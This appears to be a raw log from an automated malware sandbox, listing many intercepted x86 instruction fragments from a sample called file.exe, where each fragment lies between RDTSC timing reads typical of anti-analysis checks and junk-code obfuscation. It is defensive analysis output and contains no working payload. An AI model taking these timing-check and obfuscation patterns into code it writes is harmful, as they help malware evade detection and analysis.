Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D994 second address: E4D9A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F66B07B4FA6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF5184 second address: DF5216 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F66B1272F6Fh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F66B1272F58h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 mov ebx, dword ptr [ebp+12486209h] 0x0000002d push ebx 0x0000002e pop ecx 0x0000002f add eax, ebx 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007F66B1272F58h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 0000001Dh 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b mov edx, 52E54F59h 0x00000050 mov edx, dword ptr [ebp+122D29C6h] 0x00000056 mov dword ptr [ebp+122D2F22h], ebx 0x0000005c nop 0x0000005d js 00007F66B1272F64h 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF5216 second address: DF521A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4DC56 second address: E4DC5C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4DC5C second address: E4DC67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F66B07B4FA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4DC67 second address: E4DC73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F66B1272F56h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4DC73 second address: E4DC7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4E792 second address: E4E79A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E52858 second address: E5285C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5285C second address: E5286B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jg 00007F66B1272F56h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E52070 second address: E52095 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F66B07B4FBBh 0x00000008 jc 00007F66B07B4FA6h 0x0000000e jmp 00007F66B07B4FAFh 0x00000013 ja 00007F66B07B4FACh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E521DF second address: E521E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E521E5 second address: E521EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E521EB second address: E521EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E521EF second address: E521F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5AE50 second address: E5AE56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5AE56 second address: E5AE5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E590E4 second address: E590EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E59286 second address: E5928E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5928E second address: E59299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E59299 second address: E592A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F66B07B4FA6h 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5952F second address: E59540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F66B1272F5Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E59D80 second address: E59D84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E59D84 second address: E59D91 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E59D91 second address: E59D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A2BC second address: E5A2E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B1272F65h 0x00000007 jmp 00007F66B1272F5Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5EE87 second address: E5EE8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5EE8B second address: E5EE8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5EE8F second address: E5EE9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5E032 second address: E5E03C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F66B1272F56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5E03C second address: E5E04D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jo 00007F66B07B4FA6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5E8AF second address: E5E8B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5E8B3 second address: E5E8B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5E8B9 second address: E5E8BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6A28C second address: E6A296 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F66B07B4FA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6A296 second address: E6A2AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d ja 00007F66B1272F56h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6A2AB second address: E6A2B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6A3F2 second address: E6A42C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F66B1272F5Eh 0x00000009 jmp 00007F66B1272F69h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007F66B1272F56h 0x00000017 jns 00007F66B1272F56h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6A42C second address: E6A435 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6AB50 second address: E6AB54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6B8BC second address: E6B8EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F66B07B4FACh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007F66B07B4FB9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6C025 second address: E6C04E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 jmp 00007F66B1272F60h 0x0000000c pushad 0x0000000d jnp 00007F66B1272F56h 0x00000013 push eax 0x00000014 pop eax 0x00000015 popad 0x00000016 ja 00007F66B1272F5Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E727FD second address: E7280B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F66B07B4FA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7280B second address: E72846 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B1272F68h 0x00000007 push edi 0x00000008 jmp 00007F66B1272F63h 0x0000000d jne 00007F66B1272F56h 0x00000013 pop edi 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E72228 second address: E7222C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7222C second address: E72232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E72537 second address: E7255A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F66B07B4FACh 0x00000009 jmp 00007F66B07B4FB3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80960 second address: E8096A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F66B1272F56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8096A second address: E80970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80970 second address: E80976 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80976 second address: E8098C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F66B07B4FA6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8098C second address: E809A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F66B1272F5Bh 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E809A1 second address: E809AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E82A1B second address: E82A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E82A25 second address: E82A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F66B07B4FA6h 0x0000000a jmp 00007F66B07B4FAEh 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pushad 0x00000017 popad 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a ja 00007F66B07B4FA6h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E825C2 second address: E825CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86787 second address: E867A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B07B4FB7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8CE34 second address: E8CE3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8CE3B second address: E8CE5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F66B07B4FB0h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d jns 00007F66B07B4FA6h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E953F1 second address: E953FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F66B1272F56h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E953FD second address: E95414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F66B07B4FAAh 0x0000000c ja 00007F66B07B4FA6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9526E second address: E95275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B5A7 second address: E9B5C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F66B07B4FB3h 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9BCCE second address: E9BCD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9BCD6 second address: E9BCDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9BE47 second address: E9BE5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F66B1272F56h 0x00000009 jno 00007F66B1272F56h 0x0000000f popad 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9BE5E second address: E9BE8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 je 00007F66B07B4FD0h 0x0000000d pushad 0x0000000e jmp 00007F66B07B4FB8h 0x00000013 jns 00007F66B07B4FA6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9C8CF second address: E9C8EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F66B1272F64h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA2AC3 second address: EA2AEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B07B4FAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F66B07B4FB1h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBD1A1 second address: EBD1C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F66B1272F69h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEE1E second address: EBEE24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEFB1 second address: EBEFE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F66B1272F66h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F66B1272F63h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEC1F second address: ECEC23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEC23 second address: ECEC36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B1272F5Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEC36 second address: ECEC3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF01C second address: ECF020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF4A0 second address: ECF4B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F66B07B4FA6h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF4B0 second address: ECF4B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF4B4 second address: ECF4C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F66B07B4FA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF4C4 second address: ECF4CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF4CA second address: ECF4CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF5ED second address: ECF5F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF5F1 second address: ECF5F7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF5F7 second address: ECF5FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF5FD second address: ECF603 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF603 second address: ECF607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF607 second address: ECF60B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF8D7 second address: ECF8DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF8DB second address: ECF8E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED149E second address: ED14A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED14A2 second address: ED14A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED14A8 second address: ED14B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3F8C second address: ED3F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED4080 second address: ED4086 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED7420 second address: ED7424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED7424 second address: ED742E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F66B1272F56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED742E second address: ED745F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F66B07B4FB5h 0x00000008 jmp 00007F66B07B4FB2h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D031F second address: 50D0325 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0325 second address: 50D0329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
